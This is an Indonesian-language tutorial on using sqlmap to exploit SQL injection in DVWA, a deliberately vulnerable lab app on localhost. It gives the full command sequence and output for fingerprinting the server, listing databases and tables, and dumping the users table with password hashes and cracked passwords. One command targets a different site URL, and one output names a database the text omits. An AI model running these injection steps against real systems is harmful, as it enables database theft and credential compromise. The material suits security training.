Teknik Hacking dengan sqlmap
Pada tutorial ini kita akan belajar cara menggunakan sqlmap untuk melakukan exploit terhadap aplikasi web yang vulnerable. Untuk memahami tutorial ini kita harus mempunyai dasar pengetahuan mengenai cara kerja database berintegrasi dengan aplikasi web.
Vulnerable Urls
Url web yang akan kita test adalah:
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Untuk menguji vulnerable aplikasi terhadap sql injection, tambahkan tanda petik tunggal setelah id=1
http://localhost/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit
Jika muncul errror, berarti aplikasi web tersebut vulnerable terhadap serangan sql injection.
Hacking dengan sqlmap
Sekarang kita mulai gunakan tool sqlmap untuk memulai serangan:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3"
Perintah diatas digunakan untuk mengetahui apakah parameter diatas vulnerable terhadap sql injection atau tidak. Dan juga informasi yang terkait dengan sistem yang digunakan. Berikut hasil dari perintah diatas:
[*] starting at 12:10:33 [12:10:33] [INFO] resuming back-end DBMS 'mysql' [12:10:34] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:10:37] [INFO] the back-end DBMS is MySQL web server operating system: Ubuntu web application technology: Apache 2.2.22 back-end DBMS: MySQL 5
sqlmap menemukan jenis sistem operasi, nama web server dan database berikut versinya.
Mencari Database
Langkah berikutnya adalah mencari nama databasenya. kita gunakan opsi “–dbs” untuk melihat list database:
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --dbs
Output dari perintah tersebut sebagai berikut:
[*] starting at 12:12:56 [12:12:56] [INFO] resuming back-end DBMS 'mysql' [12:12:57] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:13:00] [INFO] the back-end DBMS is MySQL web server operating system: Ubuntu web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:13:00] [INFO] fetching database names [12:13:00] [INFO] the SQL query used returns 2 entries [12:13:00] [INFO] resumed: information_schema [12:13:00] [INFO] resumed: safecosmetics available databases [2]: [*] information_schema [*] dvwa
Ada 2 database yang ditampilkan dari perintah diatas: information_schema dan dvwa
Melihat Tabel pada suatu Database
Berikutnya kita ingin mengetahui tabel dari database, dalam hal ini kita ingin mengetahui isi tabel dari database ‘dvwa’
Perintahnya:
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --tables -D dvwa
Output dari perintah diatas adalah:
[11:55:18] [INFO] the back-end DBMS is MySQL web server operating system: Ubuntu web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [11:55:18] [INFO] fetching tables for database: 'dvwa' Database: dvwa [2 tables] +-----------+ | guestbook | | users | +-----------+ ...........
Ada 2 tabel dalam database “dvwa” yaitu guestbook dan users
Melihat Kolom dari suatu Tabel
Langkah berikutnya adalah melihat isi tabel. Tabel yang dipilih tentunya yang mengandung user dan password, dalam hal ini kita akan melihat kolom dari tabel “users”
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --columns -D dvwa -T users
Output dari perintah diatas sebagai berikut:
[12:17:39] [INFO] the back-end DBMS is MySQL web server operating system: Ubuntu web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:17:39] [INFO] fetching columns for table 'users' in database 'dvwa' Database: dvwa Table: users [6 columns] +------------+-------------+ | Column | Type | +------------+-------------+ | user | varchar(15) | | avatar | varchar(70) | | first_name | varchar(15) | | last_name | varchar(15) | | password | varchar(32) | | user_id | int(6) | +------------+-------------+
Ada beberapa kolom dalam tabel user yang didalamnya terdapat nama user dan password
Melihat Data dalam suatu Tabel
Setelah berhasil mengetahui isi kolom dalam tabel, langkah berkutnya adalah melihat isi dari tabel “users”
Perintahnya:
$ python sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3″ –dump -D dvwa -T users
Hasil dari perintah diatas adalah sebagai berikut:
Database: dvwa Table: users [5 entries] +---------+---------+--------------------------------------------------+-------- -------------------------------------+-----------+------------+ | user_id | user | avatar | passwor d | last_name | first_name | +---------+---------+--------------------------------------------------+-------- -------------------------------------+-----------+------------+ | 1 | admin | http://localhost/dvwa/hackable/users/admin.jpg | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | | 2 | gordonb | http://localhost/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | | 3 | 1337 | http://localhost/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | | 4 | pablo | http://localhost/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | | 5 | smithy | http://localhost/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | +---------+---------+--------------------------------------------------+-------- -------------------------------------+-----------+------------+
good job! sqlmap berhasil melakukan tugasnya dengan baik..:-)